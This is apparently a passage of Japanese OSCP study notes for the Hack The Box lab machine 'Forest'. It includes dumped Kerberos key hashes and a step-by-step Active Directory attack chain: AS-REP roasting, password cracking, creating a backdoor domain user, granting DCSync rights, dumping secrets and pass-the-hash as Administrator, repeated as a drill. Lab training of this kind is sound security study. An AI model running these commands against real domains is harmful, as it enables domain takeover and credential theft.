htb.local\HealthMailboxfd87238:aes128-cts-hmac-sha1-96:e507932166ad40c035f01193c8279538
htb.local\HealthMailboxfd87238:des-cbc-md5:0bc8abe526753702
htb.local\HealthMailboxb01ac64:aes256-cts-hmac-sha1-96:af4bbcd26c2cdd1c6d0c9357361610b79cdcb1f334573ad63b1e3457ddb7d352
htb.local\HealthMailboxb01ac64:aes128-cts-hmac-sha1-96:8f9484722653f5f6f88b0703ec09074d
htb.local\HealthMailboxb01ac64:des-cbc-md5:97a13b7c7f40f701
htb.local\HealthMailbox7108a4e:aes256-cts-hmac-sha1-96:64aeffda174c5dba9a41d465460e2d90aeb9dd2fa511e96b747e9cf9742c75bd
htb.local\HealthMailbox7108a4e:aes128-cts-hmac-sha1-96:98a0734ba6ef3e6581907151b96e9f36
htb.local\HealthMailbox7108a4e:des-cbc-md5:a7ce0446ce31aefb
htb.local\HealthMailbox0659cc1:aes256-cts-hmac-sha1-96:a5a6e4e0ddbc02485d6c83a4fe4de4738409d6a8f9a5d763d69dcef633cbd40c
htb.local\HealthMailbox0659cc1:aes128-cts-hmac-sha1-96:8e6977e972dfc154f0ea50e2fd52bfa3
htb.local\HealthMailbox0659cc1:des-cbc-md5:e35b497a13628054
htb.local\sebastien:aes256-cts-hmac-sha1-96:fa87efc1dcc0204efb0870cf5af01ddbb00aefed27a1bf80464e77566b543161
htb.local\sebastien:aes128-cts-hmac-sha1-96:18574c6ae9e20c558821179a107c943a
htb.local\sebastien:des-cbc-md5:702a3445e0d65b58
htb.local\lucinda:aes256-cts-hmac-sha1-96:acd2f13c2bf8c8fca7bf036e59c1f1fefb6d087dbb97ff0428ab0972011067d5
htb.local\lucinda:aes128-cts-hmac-sha1-96:fc50c737058b2dcc4311b245ed0b2fad
htb.local\lucinda:des-cbc-md5:a13bb56bd043a2ce
htb.local\svc-alfresco:aes256-cts-hmac-sha1-96:46c50e6cc9376c2c1738d342ed813a7ffc4f42817e2e37d7b5bd426726782f32
htb.local\svc-alfresco:aes128-cts-hmac-sha1-96:e40b14320b9af95742f9799f45f2f2ea
htb.local\svc-alfresco:des-cbc-md5:014ac86d0b98294a
htb.local\andy:aes256-cts-hmac-sha1-96:ca2c2bb033cb703182af74e45a1c7780858bcbff1406a6be2de63b01aa3de94f
htb.local\andy:aes128-cts-hmac-sha1-96:606007308c9987fb10347729ebe18ff6
htb.local\andy:des-cbc-md5:a2ab5eef017fb9da
htb.local\mark:aes256-cts-hmac-sha1-96:9d306f169888c71fa26f692a756b4113bf2f0b6c666a99095aa86f7c607345f6
htb.local\mark:aes128-cts-hmac-sha1-96:a2883fccedb4cf688c4d6f608ddf0b81
htb.local\mark:des-cbc-md5:b5dff1f40b8f3be9
htb.local\santi:aes256-cts-hmac-sha1-96:8a0b0b2a61e9189cd97dd1d9042e80abe274814b5ff2f15878afe46234fb1427
htb.local\santi:aes128-cts-hmac-sha1-96:cbf9c843a3d9b718952898bdcce60c25
htb.local\santi:des-cbc-md5:4075ad528ab9e5fd
evil:aes256-cts-hmac-sha1-96:04aa2b124af5297c1d4cfa395b22fe25a4f60a4bca49a12a4c0ee1ca53a19143
evil:aes128-cts-hmac-sha1-96:f835a6a454f4793d7468a3ee1c4f4748
evil:des-cbc-md5:0764b6e02f07252c
FOREST$:aes256-cts-hmac-sha1-96:ba802e0be7d574d3e4c153e116b89309b5ebc24df014737da38f351acd326780
FOREST$:aes128-cts-hmac-sha1-96:b12d10eb67940cf9d7a5db91cf9bc286
FOREST$:des-cbc-md5:614394a4109d43cd
EXCH01$:aes256-cts-hmac-sha1-96:1a87f882a1ab851ce15a5e1f48005de99995f2da482837d49f16806099dd85b6
EXCH01$:aes128-cts-hmac-sha1-96:9ceffb340a70b055304c3cd0583edf4e
EXCH01$:des-cbc-md5:8c45f44c16975129
[*] Cleaning up...
┌──(kali㉿kali)-[~/BloodHound-Legacy/Collectors]
└─$
evil-winrm -i 10.129.34.207 -u Administrator -H 32693b11e6aa90eb43d32c72a07ceea6
psexec.py htb/Administrator@10.129.34.207 -hashes :32693b11e6aa90eb43d32c72a07ceea6
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
<REDACTED_FLAG>
*Evil-WinRM* PS C:\Users\Administrator\Desktop>
③ Golden Ticket（ラボ/演習向け） 作っておしまい
＝＝＝
powershell.exe -ExecutionPolicy Bypass
whoami /priv
net users
net user svc-alfresco
net groups
walkthrough(AI)¶
このAI版 walkthrough は、生メモをOSCP練習用に整理したもの。Forest は Anonymous LDAP / RPC でユーザーを列挙し、AS-REP roast から svc-alfresco を取り、Exchange 系グループ権限を使って DCSync に進む。
1. LDAP / RPC でユーザー列挙¶
匿名 LDAP と RPC が使えるため、まずドメイン情報とユーザーを列挙する。
ldapsearch -x -H ldap://10.129.34.207 -b "DC=htb,DC=local" -E pr=200/noprompt
rpcclient -U "" -N 10.129.34.207 -c "enumdomusers"
ユーザー候補を users.txt などにまとめる。
2. AS-REP roast¶
事前認証不要のユーザーを探す。svc-alfresco の AS-REP hash が取得できる。
GetNPUsers.py htb.local/ -usersfile users_human_candidates.txt -no-pass -dc-ip 10.129.34.207 -outputfile svc-alfresco.hash
3. hash を crack して svc-alfresco の資格情報を得る¶
AS-REP hash を crack する。
john svc-alfresco.hash --wordlist=/usr/share/wordlists/rockyou.txt
得られる資格情報。
svc-alfresco / s3rvice
4. svc-alfresco で WinRM¶
svc-alfresco は WinRM が使える。
evil-winrm -i 10.129.34.207 -u svc-alfresco -p 's3rvice'
user flag を取得し、グループ権限を確認する。
whoami /all
5. 制御用ユーザーを作成して権限を足す¶
svc-alfresco の権限から、制御用ユーザー evil を作成し、Exchange Windows Permissions と Remote Management Users に追加する。
net user evil P@ssw0rd! /add /domain
net group "Exchange Windows Permissions" evil /add /domain
net group "Remote Management Users" evil /add /domain
6. DCSync 権限を付与¶
Exchange Windows Permissions 経由の権限を使って、ドメインオブジェクトに対し DCSync 権限を書き込む。
dacledit.py -action write -rights DCSync -principal evil -target-dn "DC=htb,DC=local" -dc-ip 10.129.34.207 htb/evil:'P@ssw0rd!'
7. secretsdump で Administrator hash を取得¶
付与した DCSync 権限で secrets を抜く。
secretsdump.py htb/evil:'P@ssw0rd!'@10.129.34.207
Administrator の NTLM hash を取得できる。
Administrator / 32693b11e6aa90eb43d32c72a07ceea6
8. Pass-the-Hash で Administrator¶
Administrator hash で WinRM し、root flag を取得する。
evil-winrm -i 10.129.34.207 -u Administrator -H 32693b11e6aa90eb43d32c72a07ceea6
9. 攻撃の流れまとめ¶
Anonymous LDAP / RPC
→ user enum
→ AS-REP roast svc-alfresco
→ hash crack
→ WinRM as svc-alfresco
→ evil user 作成
→ Exchange Windows Permissions 経由で DCSync 権限付与
→ secretsdump
→ Administrator Pass-the-Hash
drill¶
LDAP / RPCでユーザー列挙¶
ldapsearch -x -H ldap://10.129.34.207 -b "DC=htb,DC=local" -E pr=200/noprompt
rpcclient -U "" -N 10.129.34.207 -c "enumdomusers"
AS-REP roastとクラック¶
GetNPUsers.py htb.local/ -usersfile users_human_candidates.txt -no-pass -dc-ip 10.129.34.207 -outputfile svc-alfresco.hash
john svc-alfresco.hash --wordlist=/usr/share/wordlists/rockyou.txt
svc-alfrescoでWinRM¶
evil-winrm -i 10.129.34.207 -u svc-alfresco -p 's3rvice'
制御ユーザー作成とグループ追加¶
net user evil P@ssw0rd! /add /domain
net group "Exchange Windows Permissions" evil /add /domain
net group "Remote Management Users" evil /add /domain
DCSync権限付与¶
dacledit.py -action write -rights DCSync -principal evil -target-dn "DC=htb,DC=local" -dc-ip 10.129.34.207 htb/evil:'P@ssw0rd!'
secretsdumpとPass-the-Hash¶
secretsdump.py htb/evil:'P@ssw0rd!'@10.129.34.207
evil-winrm -i 10.129.34.207 -u Administrator -H 32693b11e6aa90eb43d32c72a07ceea6